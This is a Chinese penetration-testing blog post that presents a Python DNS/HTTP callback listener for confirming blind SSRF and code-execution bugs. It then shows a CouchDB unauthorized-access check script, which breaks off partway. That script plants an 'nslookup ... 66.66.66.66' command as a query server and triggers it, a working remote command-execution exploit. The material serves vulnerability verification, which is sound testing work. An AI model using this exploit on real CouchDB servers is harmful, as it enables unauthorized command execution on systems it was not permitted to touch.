跳至内容Wolf博客渗透、开发、数据库菜单和挂件QQ/Email:admin@xiyv.net搜索：近期文章漏洞辅助验证脚本(SSRF、RCE等)2016年5月25日网络资产信息扫描(F-NAScan)2016年5月25日中间件漏洞检测(MiddlewareScan)2016年5月25日文章归档2016年五月分类目录安全工具 (3)友情链接园长's blogshack2's blogMedici.Yan's blogk8's blogNuclear'Atkscanf's blogle4f's blogiswin's blogyaseng's blogyu1u's blogseay's blogTr3jer's blogsomd5-md5解密漏洞辅助验证脚本(SSRF、RCE等)用于检测无法直接回显或者特定情况下漏洞利用时需要用到的漏洞。例如这几天爆出的ImageMagick,FFMpeg漏洞，之前的反序列化漏洞等各种类型的代码执行、SSRF等等，具体可查看http://zone.wooyun.org/search/eye代码：import socket,thread,datetime,timequery_history = []url_history = []def web_server():web = socket.socket(socket.AF_INET,socket.SOCK_STREAM)web.bind(('0.0.0.0',80))web.listen(10)while True:try:conn,addr = web.accept()data = conn.recv(4096)req_line = data.split("\r\n")[0]path = req_line.split()[1]route_list = path.split('/')html = "NO"if len(route_list) == 3:if route_list[1] == 'add':url_history.append(route_list[2])elif route_list[1] == 'check':if route_list[2] in url_history:html = 'YES'else:query_str = route_list[1]for query_raw in query_history:if query_str in query_raw:html = "YES"print datetime.datetime.now().strftime('%m-%d %H:%M:%S') + " " + str(addr[0]) +' web query: ' + pathraw = "HTTP/1.0 200 OK\r\nContent-Type: application/json; charset=utf-8\r\nContent-Length: %d\r\nConnection: close\r\n\r\n%s" %(len(html),html)conn.send(raw)conn.close()except:passif __name__=="__main__":dns = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)dns.bind(('0.0.0.0',53))thread.start_new_thread(web_server,())while True:try:time.sleep(1)recv,addr = dns.recvfrom(1024)query_history.append(recv)print datetime.datetime.now().strftime('%m-%d %H:%M:%S') + " " +str(addr[0]) +' Dns Query: ' + recvexcept Exception,e:print equery_history = []continueVPS运行sudo python dns_log.py(监听80与53端口需root权限)无需安装任何外库，可直接运行，控制台即时输出请求内容供分析并提供web接口可用于脚本自动化验证触发：可指定dns服务器ip的dns请求(因dns的协议特性，验证的随机字符串不要包含.号)例 nslookup wolf 66.66.66.66各种方式的http请求均可例 curl http://66.66.66.66/add/wolf判断：dns: http://66.66.66.66/wolfhttp: http://66.66.66.66/check/wolf返回YES即此数据存在，也就是存在漏洞触发了验证请求操作。使用例子：CouchDB未授权访问导致系统命令执行漏洞检测脚本首先需要一台vps运行辅助检测的脚本。(需管理员权限运行)测试效果图代码：import urllib2import randomdef random_str(len):str1=""for i in range(len):str1+=(random.choice("ABCDEFGH1234567890"))return str(str1)def check(url):rand_str = random_str(8)cmd = random_str(4)req_list = [["/_config/query_servers/%s"%(cmd),'"nslookup %s 66.66.66.66>log"'%(rand_str)],["/vultest123",''],["/vultest123/test",'{"_id":"safetest"}']]for req_info in req_list:try:request = urllib2.Request(url+req_info[0],req_info[1])request.get_method = lambda: 'PUT'
urllib2.urlopen(request)
except:
pass
try:
req_exec = urllib2.Request(url + "/vultest123/_temp_view?limit=11",'{"language":"%s